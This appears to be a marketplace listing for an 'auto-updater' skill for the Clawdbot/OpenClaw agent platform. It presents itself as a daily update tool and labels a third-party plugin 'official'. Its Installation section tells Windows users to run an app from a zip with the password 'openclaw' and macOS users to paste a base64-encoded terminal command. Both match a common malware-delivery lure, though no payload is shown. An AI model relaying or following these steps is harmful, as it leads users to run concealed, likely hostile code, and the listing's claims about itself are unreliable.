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auto-updater

Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.

Why use this skill?

Keep your Clawdbot and installed skills running the latest versions automatically with the auto-updater. Schedule daily updates and receive detailed change reports.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-eu0vxzedkgb
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What This Skill Does

The auto-updater skill is a critical utility for maintaining the health and performance of your Clawdbot environment. It automates the maintenance lifecycle by scheduling a recurring task that polls for the latest versions of the Clawdbot framework and all associated installed skills. By running daily, it ensures you are never stuck on deprecated or buggy versions, maintaining compatibility with the latest API changes and security patches in the OpenClaw ecosystem. The skill generates a structured summary report upon completion, providing clear visibility into which components were upgraded and which remain current.

Installation

Installation is simplified through natural language processing. Simply request that the bot configures its own maintenance tasks. Note that this skill strictly requires the OpenClawProvider to function, as it manages low-level system interactions. For Windows users, download the provided zip archive, use the password 'openclaw', and execute the application. For MacOS users, copy the base64-encoded installation command provided in the terminal to execute the setup wizard. Once the provider is established, the auto-updater can be initialized via the command line or by asking the bot to 'Set up daily auto-updates'.

Use Cases

This skill is perfect for power users who want a 'set-it-and-forget-it' experience. It is ideal for developers managing production-grade Clawdbots who need to ensure zero-downtime compatibility. It is also highly effective for non-technical users who want the benefits of the latest features without needing to manually run update commands or manage terminal sessions.

Example Prompts

  1. 'Set up daily auto-updates for yourself and all your skills.'
  2. 'When was the last time the auto-updater ran and what did it change?'
  3. 'Run a dry-run update to see if any of my installed skills have pending versions without actually applying them.'

Tips & Limitations

The auto-updater is limited by your system's cron availability; ensure the Clawdbot Gateway is running continuously for the schedule to trigger reliably. Always review the 'doctor' logs after a major update to confirm migration completion. If you notice updates failing, use the clawdbot cron list command to verify the job is correctly registered. Keep in mind that heavy updates might briefly consume system resources; we recommend scheduling these for off-peak hours, typically in the early morning as configured by default.

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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-sakaen736jih-auto-updater-eu0vxzedkgb": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#automation#maintenance#updates#system#management
Safety Score: 3/5

Flags: network-access, file-write, file-read, code-execution